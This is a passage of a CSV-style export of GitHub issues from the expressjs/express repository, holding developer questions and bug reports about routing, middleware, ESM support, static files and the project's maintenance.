  ""scripts"": {
    ""start"": ""nodemon index.js --exec babel-node"",
  },
```
babel's settings for reference:
```
{
  ""presets"": [
    ""@babel/preset-env""
  ]
}
```",,2022-01-29T15:29:35Z,2022-01-29T15:44:07Z,1
expressjs/express,1116698003,Some test files fail if I run them seperately,"I was doing local development, If I execute some test files separately they fail with TypeError exception

example:
 ```
  app
    .engine(ext, fn)
      1) should map a template engine


  0 passing (12ms)
  1 failing

  1) app
       .engine(ext, fn)
         should map a template engine:
     Uncaught TypeError: Cannot read property 'equal' of undefined
      at /private/tmp/express/test/app.engine.js:25:20
      at /private/tmp/express/test/app.engine.js:10:5
      at FSReqCallback.readFileAfterClose [as oncomplete] (internal/fs/read_file_context.js:73:3)

```
I see `should` has not been imported in some files so that is the reason, it would we better if we import it in the test  files wherever required and not make files dependent on each other.",tests,2022-01-27T20:17:13Z,2022-02-02T07:00:23Z,0
expressjs/express,1113466314,Express. static invalid in PM2 production environment,"
Is what circumstance can make static resource is invalid, I met this problem in a production environment, the path I'm sure the server is a path, through the ""domain name"" (HTTTP: / / www.xx.xx/resourceName) ""access return status code is"" 404 "", However, in a development environment access through (""localhost:9000/ resource name "") is fine

my  code:
app.use(express.static(path.join(__dirname, '../public')));",question,2022-01-25T06:08:08Z,2022-02-02T06:59:51Z,7
expressjs/express,1112310718,Server.close doesn't clean idle keep-alive connections,"Currently, there is no way to gracefully shutdown Node.js apps written with Express.

`server.close()`

Will hold for hours, since there keep-alive connections holding it.

What about adding new feature to fix the server.close and make it a robust one?",question,2022-01-24T08:17:47Z,2022-01-24T14:08:53Z,4
expressjs/express,1110705788,Native support for esm clients,"Attempting to import from express from an esm package, does not currently work:

```javascript
import express from ""express"";
```

Taking a look at express's root index.js reveals:

```javascript
module.exports = require('./lib/express');
```

this is not compatible with esm clients. The client needs to use the esm require workaround, but the user may not be aware of what this is. Eg, I am currently using rollup/typescript in an esm module and attempted to import express and was faced with a confusing error message that did not accurately reflect the problem at hand:

```
[16:21:47] Error: Unexpected token (Note that you need @rollup/plugin-json to import JSON files)
    at error (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:10332:30)
    at Module.error (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:12251:16)
    at Module.tryParse (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:12654:25)
    at Module.setSource (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:12557:24)
    at ModuleLoader.addModuleSource (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:22021:20)
```

The user needs to esm require instead (but really ought not to):
... [TRUNCATED]","discuss,enhancement,question",2022-01-21T17:11:36Z,2022-02-18T11:02:05Z,6
expressjs/express,1106058826,routes conflict ,"problem with routes I have a work route and I want to get data in two ways one an individual work with id (/:id) and a list of works that can have limits and skip  as parameters (/:limit/:skip) but the problem is here that whatever I try to send to the second route (/:limit/:skip) will reach to the first one (/:id) I changed the  order of routes and did some other tricks the funniest part is I tried to add a route to stop the conflict  => (/withParams/:limit/:skip) but it's reaching as params to the (/:id) routes => ""withParams""  

I want to mention that I'm using express besides next.js  

the work routes file
```javascript
import express from ""express"";
import { Work, joiSchema } from ""../db/models/work"";
import { CallbackError } from ""mongoose"";

const router = express.Router();
router.get(""/withParams/:limit/:skip"", async (req, res) => {
  console.log(req.params);
  try {
    await Work.find()
      .then(data =>
        res.header({ ""Content-Type"": ""application/json"" }).send(data)
      )
      .catch(err => res.status(500).send(err));
  } catch (err) {
    res.status(500).send();
  }
});

router.get(""/:id"", async ({ params: { id } }, res) => {
  if (!id || isNaN(+id)) return res.status(400).send(""bad request"");
  try {
    await Work.findOne({ _id: id })
      .then(data => {
        if (!data)
          return res.status(404).send(`user with id:${id} doesn't exist`);
        res.header({ ""Content-Type"": ""application/json"" }).send(data);
... [TRUNCATED]",question,2022-01-17T16:30:58Z,2022-01-17T17:21:49Z,5
expressjs/express,1105008938,Express route param is undefined when I use express.Router(),"So imagine if the current file I'm in is an express.Router() for the endpoint /post.

I tried to require a different router within the /post router called /:id (which is a url param), sorta like this: `router.use(""/:id"", require(""./idRouter""));`. So, if I go to idRouter.js (which' route is /post/:id) and write something like this:

```js
router.get(""/like"", (req, res) => {
  console.log(req.params.id)
  res.send({status:""SUCCESS""});
});
```

And then if I go to the endpoint in a browser (for example /post/12345/like) it does respond with {""status"":""SUCCESS""} but `req.params.id` is undefined, so I can't use it. Is this a bug or is this deliberate (for some reason)?

Note: `req.params` is an empty object",question,2022-01-16T10:07:49Z,2022-01-16T10:10:55Z,1
expressjs/express,1097051826,Res.locals data changes during async/await,"I've never experienced this before...
but the res.locals object in one handler will change to point to the locals object of another authenticated user if they make a request around the same time while waiting for the database call to comeback via await.

Using-
""connect-redis"": ""^6.0.0"",
    ""cookie-parser"": ""^1.4.6"",
    ""dotenv"": ""^10.0.0"",
    ""ejs"": ""^3.1.6"",
    ""express"": ""^4.17.2"",
    ""express-session"": ""^1.17.2"",
    ""ioredis"": ""^4.28.2"",

i.e in the following code-
req.user.id = 5, res.locals.user.id = 5
after await response
req.user.id = 5, res.locals.user.id = 20 *or some other user's id, if they made a request around the same time

```
app.get('/dashboard', auth, async (req, res) => {
	let default_date = new Date();

	if (req.user.subscription) {
		let additional_message;
		if(!req.user.subscription.active) {
			if (req.user.subscription.failure_reason != """") {
				additional_message = ""Error"";
			}
			return res.redirect('/account#nav-payment');
		}
	} else {
		return res.send(404);
	}

	console.log('req user / res user', req.user.id, res.locals.user.id);
	let online = await User.findAll({
		where: { last_seen: { [Op.gte]: Date.now() - 1000 * 60 * 30 } },
		attributes: ['name', 'is_advisor', 'id']
	})
	console.log('req user / res user', req.user.id, res.locals.user.id);
	res.render('dashboard', {online});
});
```

Has anyone ever experienced this? If so, do you know how to fix this?
Otherwise it's rendering a different... [TRUNCATED]",awaiting more info,2022-01-08T22:44:29Z,2022-02-02T20:18:27Z,2
expressjs/express,1096864109,one element array in request query is being parsed as string,"    ""compression"": ""^1.7.4"",
    ""cookie-session"": ""^1.4.0"",
    ""express"": ""^4.17.1"",
    ""express-actuator"": ""^1.8.0"",
    ""express-async-errors"": ""^3.1.1"",
    ""express-validator"": ""^6.14.0"",
    ""helmet"": ""^4.6.0"",",,2022-01-08T08:05:18Z,2022-01-08T08:27:48Z,1
expressjs/express,1093878326,"why app.get() get called twice and the second one with ""as=json"" query string appended?","I created a simple code
```javascript
const express = require('express');
const favicon = require('serve-favicon');
const path = require('path');
const utils = require('./utils');

const port = process.env.PORT || 3000;
const app = express();

app.use(favicon(path.join(__dirname, '../public', 'favicon.ico')));

// Log request
app.use(utils.appLogger);

app.get('/test.html', (req, res) => {
    console.log(""test.html"");
    return res.send(""<H1>test</H1>"");
});

// root route - serve static file
app.get('/', (req, res) => {
    return res.sendFile(path.join(__dirname, '../public/client.html'));

});

// Catch errors
app.use(utils.logErrors);
app.use(utils.clientError404Handler);
app.use(utils.clientError500Handler);
app.use(utils.errorHandler);

app.listen(port, () => {
    console.log(`Server has started on port ${port}!`);
});

```
when I visited http://locahost:3000/test.html, I got the below log from console
```BASH
C:\GitHub\Samples\js-e2e-express-server-main>npm start

> js-e2e-express-server@1.0.0 start C:\GitHub\Samples\js-e2e-express-server-main
> nodemon dist/server3.js

[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node dist/server3.js`
Server has started on port 3000!
::1 - GET /test.html 200
test.html
::1 - GET /test.html?as=json 200
test.html
```
Can people help me to understand why test.html got called twice and seco... [TRUNCATED]",,2022-01-05T00:55:32Z,2022-01-05T04:05:06Z,1
expressjs/express,1086611395,Redirect to https,"Hi! I'm running my express server inside a docker container, but I don't get to redirect http requests to https protocol.

I've tried with a few options, as for example, adding a 'express-http-to-https' to server.ts or enabling trust proxy but I get nothing.

Can you guys give a hand?

Thanks",question,2021-12-22T09:10:39Z,2022-03-27T06:06:26Z,3
expressjs/express,1082296677,res.download partial content,"To download a file we use the `download`

```javascript
app.get('/:filename', function(req, res) {
  var filePath = path.join(__dirname, 'code.jpg');
  res.download(filePath, 'test.jpeg');
});
```

but If I have a range query:

```
{
  'Content-Length': 223609,
  'Content-Type': 'audio/mpeg',
  'Access-Control-Allow-Origin': '*',
  'Access-Control-Allow-Methods': 'POST, GET, OPTIONS',
  'Access-Control-Allow-Headers': 'Range',
  Expires: 0,
  Pragma: 'no-cache',
  'Cache-Control': 'no-cache, no-store, must-revalidate',
  'Accept-Ranges': 'bytes',
  'Content-disposition': 'attachment; filename=/Users/loretoparisi/audio/test.mp3'
}
```

using `download` will not respect the Byte range, that instead will work in native browser player or using it manually like:

```javascript
header['Accept-Ranges'] = 'bytes';
header['Content-Length'] = parseInt(range[1]) - parseInt(range[0]) + 1;
 if(req.query.download) { // set download headers
   header['Content-disposition'] = 'attachment; filename=' + path;
}
 res.writeHead(200, header);
```",,2021-12-16T15:00:11Z,2022-02-02T20:16:10Z,1
expressjs/express,1081825234,[REQUEST]  - Triage role,"# Request triager role for `@TarunavBA`

- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

- [x] jshttp
- [X] pillarjs
- [x] express",,2021-12-16T06:35:42Z,2021-12-16T07:02:26Z,1
expressjs/express,1080407397,hostname security?,**removed**,,2021-12-14T23:53:02Z,2021-12-15T00:02:13Z,1
expressjs/express,1077132979,What needs to happen for express 5 to go beta?,"What needs to happen for express 5 to go beta or even to be fully released?

At this point I see @dougwilson sending people to the upgrade guide in some of the issues.

How can we help get this over the line. my hunch is that many many people are doing dangerous things with async functions not realizing that they need https://www.npmjs.com/package/express-async-errors. 

How can I help?",duplicate,2021-12-10T18:47:21Z,2021-12-10T18:50:54Z,6
expressjs/express,1073903086,Run a function inside Express route and still render page in sendFile,"I have a React app using server-side rendering and I'm trying to hit a route using middleware to check assign redirects.

```
const app = express();

...

app.use(""/"", redirectRouter);
app.use(""/widgets"", widgetRouter);
app.use(""/api"", apiRouter);

app.use((req: Request, res: Response) => {
  res.sendFile(path.join(__dirname, ""public"", ""index.html""));
});
```

The second two middlewares are for some backend purposes and the last `app.use` serves up the React app if no other route is found. `app.use(""/"", redirectRouter)` is where I'm trying to run a loop that assigns redirects to an array of URLs. I want express to hit the middleware, run, but still serve `index.html` at the bottom.

Currently `app.use(""/"", redirectRouter)` does nothing. I've tried changing `""/""` to `""*""` which hits the route but no longer renders the page. I've also tried variations of `app.get`, `app.all`, and `app.options` which also do nothing.","help wanted,question",2021-12-08T01:14:50Z,2022-03-27T06:12:35Z,7
expressjs/express,1071474187,Unable to load react application from express js application,"I created three react projects as Microfront ends from nrwl/react:app and an express project using nrwl/express:app with frontendApplication as the react project.

app1 & app2 are exposing their components using ModuleFederation webpack plugin. And then finally I am consuming app1's n app2's components in app3 using ModuleFederation plugin. I have to wrap this app3 with node js. and serve.

My requirement is to load my app3 react project from express server. So that I can add a middleware. I observed here that when I try to make the react app up then it is getting proxied from the express-app (added console and in proxy.config.json of react app i updated it to be '/', and added app.get('/') which listens whenever a browser url is hit with react app).
But when I try to load this react app from express app it gives me issue with js files loaded (polyfill and main,js) -
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname + '/..//index.html'));
});

![image](https://user-images.githubusercontent.com/18062708/144750823-c4297039-b0e9-46e6-b571-248ece23af6b.png)",question,2021-12-05T14:33:21Z,2022-02-22T04:37:29Z,2
expressjs/express,1069345029,req.body is showing me object in reverse order.,"Hey,

I was building a To-do list web app using mern stack with redux. I created a simple form to enter the data but while sending post data to the backend I'm facing difficulty. My form textfield area name is 'task' (E.g. <input type=""text"" name=""task"">) and I'm passing let's say 'jonas' as the value. Everythin on the front-end is working fine but in the backend when I console the req.body in post method callback function, I do get {jonas: ' '} as the value. Why is this happening? I mean it should have been {task: 'jonas'}, right?

Please someone help me with this thing. I'm stuck on this problem for last two days. I could have shared the code screenshots but the codebase is really huge.

",question,2021-12-02T09:54:07Z,2021-12-07T04:26:01Z,2
expressjs/express,1061839996,Express JSON Problem,"If you don't put the ""()"" in the function ""app.use(express.json);"" the application has no errors and it's in an eternal loop, where it doesn't break the application, but it doesn't execute any requests either.",question,2021-11-24T00:11:21Z,2021-11-24T00:22:09Z,5
expressjs/express,1061496420,[Request] - Triage Role `:D`,"# Request Triage Role for `@Segmentational` #

- Extending [Issue 4762](https://github.com/expressjs/express/discussions/4762)

---

- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

**I request for a triager role for the following GitHub organizations**:

- [x] `jshttp`
- [x] `pillarjs`
- [x] `express`
",,2021-11-23T16:39:48Z,2024-04-22T10:00:47Z,4
expressjs/express,1060612816,[Discussion] Looking to Provide Support - Request,"Hello, hello

First, I want to personally thank everyone a part of the team for their time and contribution(s).

## Overview ##

It seems that the project has been receiving some... weird and unjust heat, recently. While I am in belief that the project is incredibly stable at this time, I see pull requests that may have been lost due to timely responses.

I get it -- I can only imagine we're all busy with our actual day jobs, doing, well, the same thing we're doing here. 

I've been looking for quite some to a larger project to contribute to; I was thinking about IBM's Carbon-Design-Framework, but ever since I've shifted away from FastAPI as a backend, to express, I'm definitely much more interested in this project.

**Bottom-line**: I'd like to better understand what `express` is currently experiencing the most issues/problems with, and help out `:D`

## Background ##

The last three years I've been active 5-6 days a week contributing to various open source projects I created. Recently, I've since moved from my personal instance (GitLab*) to GitHub. I have no problem spinning that instance back up if anyone is interested in confirming, but the organization I house my projects nowadays is the following: https://github.com/cloud-hybrid

---

I'm looking forward to any and all feedback `:D`",,2021-11-22T21:31:26Z,2021-11-23T14:34:12Z,0
expressjs/express,1059455850,.,"Hi, @dougwilson, sry to bother you... you wrote:

> Yes, this issue has plenty of feedback. There is no need for more, as stated above it was already decided upon. This is essentially now a tracking issue for **landing the change**. I'm going to lock it to prevent further comments that are no longer needed. https://github.com/expressjs/express/issues/2755#issuecomment-974867330

Could you summarize what you meant by it? (so others like me don't ask more dum question like this) 
What node version did you decide to support/drop? 
A one liner sentence would be sufficient of what your intentions are... both to your last comment and to the top post (as an edit/update), 

no need to comment here... thanks",question,2021-11-21T18:50:14Z,2021-11-21T18:50:16Z,3
expressjs/express,1056840334,Request triager role for the-unfactoring-guru,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express

Extra Info:
I work at an organization called DevaSolutions (GitHub handle: [devasolutions](https://github.com/devasolutions)) and we create basic web applications for small companies in Latin America. Other than this, we also create open source tools for developers who want to be part of the web development community. Examples: [bring-me](https://github.com/devasolutions/bring-me) and the current development of a basic express project app generator (Repo not started yet).

Thank you,
sincerly
Mariano Hurtado de Mendoza",,2021-11-18T02:03:05Z,2022-02-02T20:20:36Z,1
expressjs/express,1055112953,Anniversary 🎂,"Hi @dougwilson,

First of all, thanks for maintaining this project for so long.

Today is the 11th anniversary of express.js (based on wikipedia).

I love using express and would love continue using it in the future. Unfortunately, express.js is written in a old coding styles and is hard to read and therefore also difficult to make PRs.

That's why I decided to make [`express6`](https://www.npmjs.com/package/express6). It uses the latest TypeScript features and up-to-date dependencies.

I will continue maintaining express6 and who knows, maybe someday you will merge it into express.

Tkanks! and Happy Birthday 😊

Yannick",meta,2021-11-16T17:01:57Z,2021-11-17T16:36:53Z,3
expressjs/express,1053074659,Povide a setting to control req.fresh evaluation,"It is possible to disable the behind-the-scenes logic around the `Etag` header via `app.set(""etag"", false)`, but the same cannot be done against its counterpart, `If-Modified-Since` and Express silently discards a fully rendered response based on just evaluating `Last-Modified` vs. `If-Modified-Since`. RFC 7232 says that the `304` response SHOULD be sent in this case, but doesn't say it MUST be sent, which means that some configuration, similar to `etag` is needed to control this behavior.

In practical terms, I may have a listing of items and `Last-Modified` in this list would be the time stamp of the last item. Some of the items may be edited, which doesn't change the last modified date of the whole list, but may benefit from intermediate items displayed in their most up-to-date form. This is just an example, though, the `req.fresh` logic shouldn't enforce this behavior as if it's mandated by the RFC.

Here's an example:
```js
const express = require(""express"");
const app = express();
const port = 3000;

function index_get(req, res)
{
  // ... evaluates If-Modified-Since, decides to render a new response ...

  // keep the modified date (e.g. listing item was updated, but no new items added)
  res.set(""Last-Modified"", new Date(2021, 10, 14, 0, 0, 0).toUTCString());

  // runs database queries and generates a slightly different response, which is thrown away because of req.fresh
  res.send(""Hello World!"");
}

app.set(""etag"", false);
app.get(""/"", index_g... [TRUNCATED]",ideas,2021-11-14T23:40:39Z,2021-11-15T01:56:15Z,10
expressjs/express,1049260432,How do we find the user IP address when the request is made ?,I was thinking about Netflix or any big company's authentication and see how they work... so I noticed that if I log in from any device it sends me an approximate location and an IP Address. My question is how can we console log that IP address when the request is made? Thank You. ,question,2021-11-10T00:20:37Z,2021-11-10T00:22:11Z,4
expressjs/express,1044269604,how to send a different response,"how to send a different response. 
example: 
- in browser = send html 
- on axios/fetch/curl = send json

URL example
https://api.zeks.me/api/ig?apikey=apivinz

HOW",question,2021-11-04T01:20:34Z,2021-11-15T00:08:16Z,3
expressjs/express,1043902444,UPDATING THE SOURCE CODE,I was reading the source code of expressjs . I was thinking that we should update the source code to latest es6 version . Have any suggestions ??? I am also willing help in the process . I have not yet modified the code . Just reading it to know how it works . ,question,2021-11-03T17:53:51Z,2021-11-03T17:57:41Z,1
expressjs/express,1040311938,Older version of path-to-regexp in Express package.json causing problems with some paths,"Running Express 4.17.1, if you define a route like this:

`app.get(""/(user|u)"", ...)`

with the intention of matching either `/user` or `/u`, then you get this error when the `app.get()` first executes to register the route:

```
  return new RegExp(path, flags);
         ^

SyntaxError: Invalid regular expression: /^\/(?(?:([^\/]+?))|u)\/?$/: Invalid group
    at new RegExp (<anonymous>)
    at pathtoRegexp (D:\code\test\temp\node_modules\express\node_modules\path-to-regexp\index.js:128:10)
    at new Layer (D:\code\test\temp\node_modules\express\lib\router\layer.js:45:17)
    at Function.route (D:\code\test\temp\node_modules\express\lib\router\index.js:494:15)
    at Function.app.<computed> [as get] (D:\code\test\temp\node_modules\express\lib\application.js:481:30)
    at Object.<anonymous> (D:\code\test\temp\temp.js:45:5)
```

The issue occurs in the path-to-regexp module.  But, it appears to be something that has been fixed in more recent versions of path-to-regexp.  Express 4.17.1 has path-to-regexp: 0.1.7 in its package.json, whereas the latest version of path-to-regexp is 6.2.0.  And, when I manually call `path-to-regexp(""/(user|u)"")` in this latest version, it does not cause the problem seen above.  In fact, the code that causes the problem above has been completely rewritten in path-to-regexp as it looks nothing like the older version I step through in Express.",question,2021-10-30T21:52:30Z,2021-10-30T21:54:54Z,7
expressjs/express,1039298395,Error [ERR_HTTP_HEADERS_SENT]: cannot set headers after they are sent to the client,"```js
//jshint esversion:6

const express = require(""express"");
const bodyParser = require(""body-parser"");
const ejs = require(""ejs"");

const homeStartingContent = ""Lacus vel facilisis volutpat est velit egestas dui id ornare. Semper auctor neque vitae tempus quam. Sit amet cursus sit amet dictum sit amet justo. Viverra tellus in hac habitasse. Imperdiet proin fermentum leo vel orci porta. Donec ultrices tincidunt arcu non sodales neque sodales ut. Mattis molestie a iaculis at erat pellentesque adipiscing. Magnis dis parturient montes nascetur ridiculus mus mauris vitae ultricies. Adipiscing elit ut aliquam purus sit amet luctus venenatis lectus. Ultrices vitae auctor eu augue ut lectus arcu bibendum at. Odio euismod lacinia at quis risus sed vulputate odio ut. Cursus mattis molestie a iaculis at erat pellentesque adipiscing."";
const aboutContent = ""Hac habitasse platea dictumst vestibulum rhoncus est pellentesque. Dictumst vestibulum rhoncus est pellentesque elit ullamcorper. Non diam phasellus vestibulum lorem sed. Platea dictumst quisque sagittis purus sit. Egestas sed sed risus pretium quam vulputate dignissim suspendisse. Mauris in aliquam sem fringilla. Semper risus in hendrerit gravida rutrum quisque non tellus orci. Amet massa vitae tortor condimentum lacinia quis vel eros. Enim ut tellus elementum sagittis vitae. Mauris ultrices eros in cursus turpis massa tincidunt dui."";
const contactContent = ""Scelerisque eleifend donec pretium vulputate sapien. Rhoncus u... [TRUNCATED]",question,2021-10-29T08:15:05Z,2021-10-29T08:23:27Z,0
expressjs/express,1037437537,'Better' Discussion/Question asking somethings,"Well I would suggest you guys to make a discord server or something the google discussions is ""dead"" and yea discord makes it easier to ask question, ig?","duplicate,question",2021-10-27T13:39:14Z,2021-10-27T13:43:38Z,2
expressjs/express,1035239264,Is there any support for HTTP/2 on Express?,"Some time ago I opened a StackOverflow question about a misunderstanding why the HTTP/2 module wasn’t working on Express. They recommend visiting the status board of the project. Effectively, there was a help wanted about http2 / compression, but nothing about HTTP / 2 as well.  There is anothyng issue opened where I can read about HTTP/2 support, or there is any interesting on support from the community to make this possible?",duplicate,2021-10-25T14:54:44Z,2021-10-25T15:08:31Z,1
expressjs/express,1033668620,router.use middleware is called twice,"### Node Version

12.22.3

### Express Version
4.17.1

### Platform

Darwin 3655368-6357e 18.7.0 Darwin Kernel Version 18.7.0: Tue Jan 12 22:04:47 PST 2021; root:xnu-4903.278.56~1/RELEASE_X86_64 x86_64

### Subsystem

_No response_

### What steps will reproduce the bug?

**app.js**

```js
var express = require('express');
var router = require('./router');
var app = express();
app.use(""/v1"",router);

app.use(""*"",(req,res)=>{
  return res.end(""Started"")
})
app.listen(3001,()=>console.log(""Started on port 3001""));
```

**router.js**

```js
var express = require('express');
var router = express.Router();
var axios = require('axios')

function makeApiCall(req) {
  return Promise.race([
    axios.request({
      url: ""http://temp.dash.zeta.in/food.php"",
      method: 'GET',
      headers: req.headers
    }),
    new Promise(resolve => {
      setTimeout(() => {
        const timeOutErrorObj = {
          errorMessage: ""API cancelled. Request TimeOut"",
          errorStatus: 408
        };
        return resolve(timeOutErrorObj);
      },0);
    })
  ]);
}

router.use('/food',(req, res, next) => {
  req.socket.setTimeout(0);
  console.log(""Set timeout"", req.res.socket.timeout)
  next();
});
router.use('/food', (req, res, next) => {
  console.log(""URL request for --->"", req.url);
  return makeApiCall(req).then(response => {
      const { errorStatus, errorMessage } = response;
      if (errorStatus) {
        return ... [TRUNCATED]",awaiting more info,2021-10-22T14:49:44Z,2021-11-17T17:51:51Z,30
expressjs/express,1032708937,Question: How to send the Express Server console.log to the front end.,"Hi! I'm pretty new to JS and Node so it might be a dumb question. Ive look everywhere and I can't figure how to get a response from the Server. The goal is to be able to do a progress bar so I need to return the bytes download / Total bytes. 

For now i'm able to have the information but only on the server, I can't figure how to send it to the front end. 

Heres what I did so far.

Server.js
```
app.get('/', async (req, res) => {
    const response =
    fetch(`https://api.github.com/repos/${options.gitUser}/${options.gitRepo}/releases/latest`)
    .then(response => response.json()).then(data => { json = data; })
    .then(() => {
        let zip;
        for (i = 0; i < json['assets'].length; i++) {
            if (json['assets'][i]['name'] === `${options.softName}`) zip = json['assets'][i];
        }
        let received_bytes = 0;
        let total_bytes = 0;
        
        var req = request(
            {
                method: 'GET',
                uri: zip['browser_download_url']
            }
        );
        
        var out = fs.createWriteStream(`C:\\Users\\${options.userName}\\AppData\\Roaming\\Camnor\\Camsoft\\${options.softName}`);
        req.pipe(out);
        
        req.on('response', data => {
            total_bytes = parseInt(data.headers['content-length']);
        });

        req.on('data', chunk => {
            received_bytes += chunk.length;
            console.log(received_bytes, total_bytes); <== The data ... [TRUNCATED]",question,2021-10-21T16:41:34Z,2021-11-17T03:03:43Z,3
expressjs/express,1031008198,How to protect all routes,"Stack:
Front End - Angular 12
  |-- Leveraging Angular/MSAL to integrate with Azure AD for authentication

Back End
  |-- Node JS  V14.17.6
  |-- Express 4.17.1
  |-- Passport-Azure-AD V4.3.0 (passport-azure-ad is a collection of Passport Strategies to help you integrate with Azure Active
  |-- Authentication Strategy - BearerStrategy (Protects APIs and Resources)
 Directory)
       |-- Passport V0.3.2 (Passport version leveraged by Passport-Azure-AD)

Back End Project Structure (Excerpt shown for brevity)
  Root Directory
   |-- src 
     |-- routers(Sub directory that holds all modularized routes per entity in individual .js files e.g. users.js, actions.js)
     |--index.js(Application entry point)

I'm looking for a way to protect all my routes/api endpoints, rather than having to apply the passport.authenticate to each route handler within each of the route endpoints which could be ""N"" number of routes per modularized route .js files as expressed above. I have tried the following below to no avail.

1. Within the index.js file, i.e. the applications entry point, in which I use e.g. const users = require('./routers/users') and app.use('/api/v1/users', users) to mount my route handlers, I introduced the following app.use(passport.authenticate('oauth-bearer', { session: false })) since passport is a middleware but no joy

2. Within the modularized route handling files, I tried the following as well: router.all('*',passport.authenticate('oauth-bearer', {... [TRUNCATED]",question,2021-10-20T06:00:34Z,2021-11-17T17:49:27Z,3
expressjs/express,1028198836,User: @agus7fauzi unblock,"hi I'm @agus7fauzi, I'm sorry for being impatient waiting for an answer to an issue on the express github repository. I do it because I have to make decisions quickly in my projects. I want to contribute to express js, please open my block. can you give me a chance?, you are a leader.",,2021-10-17T02:44:58Z,2021-10-17T02:54:10Z,1
expressjs/express,1028187749,Express future?,"what's wrong with the express framework, why is it rarely updated, has express been neglected?
why Express version 5 is still an alpha version even though 5 years have passed, wouldn't that make no sense for an alpha version?","duplicate,question",2021-10-17T01:23:10Z,2021-10-17T01:26:46Z,2
expressjs/express,1028146161,Express future?,"what's wrong with the express framework, why is it rarely updated, has express been neglected?",question,2021-10-16T20:54:29Z,2021-10-16T20:57:50Z,13
expressjs/express,1023981137,Authenticate before receiving multipart form data,"I have a route that accepts a file via multipart form data and saves it to the file system using multer. I am using passport to authenticate the user's jwt token. The route looks something like this:

router.post(['/'],
    passport.authenticate('keycloak', { session: false }),
    multer.single('file')
);

The problem is that the files I am uploading are very large. It can take 10+ minutes for the app to receive the data. By the time passport authenticates the token, it is always expired since it compares it to the current time, not the time the request was started. If the token is invalid for any reason, the user won't know until 10 minutes later. I would like the user to get immediate feedback instead of waiting for the request body to be received. I tried using passport as an app level middleware, but it still waited until it had req.body before executing.

Is there a way to execute middleware before receiving the request body?",awaiting more info,2021-10-12T15:52:53Z,2021-11-17T17:52:14Z,2
expressjs/express,1023913717,Feature: Set response status code according to HTTP method,"Hi there...
I'm here to suggest an idea about response status code.

### #idea
The idea is to automatically set the response status code of the request according to the HTTP method and standard HTTP response code (if the developer have not explicitly set the status code). e.g.
`
app.put(""/endpoint"", (req, res) => {
    res.send();
})    // This should return status code 204
`
Here is another example
`
app.put(""/endpoint"", (req, res) => {
    res.send(payload);
})    // This should return status code 200
`

### #edge
It will reduce the thought process of the developer of proper HTTP status code.",,2021-10-12T14:47:40Z,2021-10-12T14:52:30Z,2
expressjs/express,1022673999,How to debug a duplicate route problem?,"We use a loopback v3 application which is built over express. We put console.log() calls in our route and tested our api calls to see if they output. 

Our observation was that it did not output in the server console. However, the web app, still properly responded to the request. (Status code 200).

So my guess is that the same route is somehow added earlier somewhere else. Question is how can I find that location? Is there a debugging advice that would help here? Some place I can put a breakpoint which simplifies how that route is hit?",question,2021-10-11T12:58:17Z,2021-10-16T06:14:38Z,2
expressjs/express,1022144266,Request triager role for import-brain,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2021-10-11T00:50:11Z,2021-11-17T17:45:42Z,4
expressjs/express,1022056853,Is there any way to successfully rewrite a route in express middleware,"I am trying to create a middleware to rewrite some paths in express middleware before forwarding the request to nest.js, but it seems baseUrl gets reset after every `next()`, causing the nest.js router to ignore the route.

Is there any way to successfully rewrite a route in middleware or to forward a new request object to other middlewares?",awaiting more info,2021-10-10T18:25:36Z,2021-10-10T18:29:56Z,3
expressjs/express,1020720970,Router level async middleware not working,"First of all please do not close my Issue immediately when I create it..

My code link is [https://github.com/Crazycoder122/async-middleware-express/blob/master/frontend/index.js](https://github.com/Crazycoder122/async-middleware-express/blob/master/frontend/index.js)


Now in 
`res.get('/',auth,(req,res,next)  =>  {
      // Logic which runs if the user is authenticated
})`

Now the auth function is async function...
What to do now??

Thank You...",duplicate,2021-10-08T05:47:23Z,2021-10-08T05:51:57Z,1
expressjs/express,1020717817,Router Level Async Middleware,"[Code Link](https://github.com/Crazycoder122/async-middleware-express/blob/master/frontend/index.js)


It is my code.. But the Middleware is async.. So I am having problem with dealing it in the routes....",duplicate,2021-10-08T05:40:49Z,2021-10-08T05:42:13Z,1
expressjs/express,1020714305,Use Router-Level Async Middleware,"```js
const express = require('express');
const bodyParser = require('body-parser');
const path = require('path');
const axios = require('axios').default;

// Routes
const userRoutes = require('./routes/user');


// Creating the Constants
const PORT = process.config.PORT || 443;

// Creating the app
const app = express();

// Dotenv Config
require('dotenv').config();

// Middleware for static files
app.use(express.static(path.join(__dirname+'/assets')));


app.use('/user',userRoutes)


const authenticate = async (req,res,next) =>{
    const isAuthenticate = await axios.post(""http:127.0.0.1:121/authenticate_user"",{})

    // return false;
    // else
    res.send(""Not logged In!!"")
};


app.get('/',authenticate,async (req,res)=>{
    res.redirect('/user');
});


// Listening the app
app.listen(PORT,()=>{
    console.log(`App Running at http://127.0.0.1:${PORT}`);
})
```


It is my code.. But the Middleware is async.. So I am having problem with dealing it in the routes....",question,2021-10-08T05:32:58Z,2021-10-08T05:38:47Z,2
expressjs/express,1014153030,Unable to find a way to properly remove or override a route after it has already been created,"Basically I can't find a way properly remove a route after it has already been created. or redefine it to add a middleware if needed.

This is really causing a slight setback for a project I'm working on right now that needs to be able to create, remove or alter a route on demand.","question,module:router",2021-10-02T19:46:56Z,2021-10-02T20:07:36Z,3
expressjs/express,1012283318,Bug: Router uses previously added routers middleware,"In the following zip you can find a simple node app. 

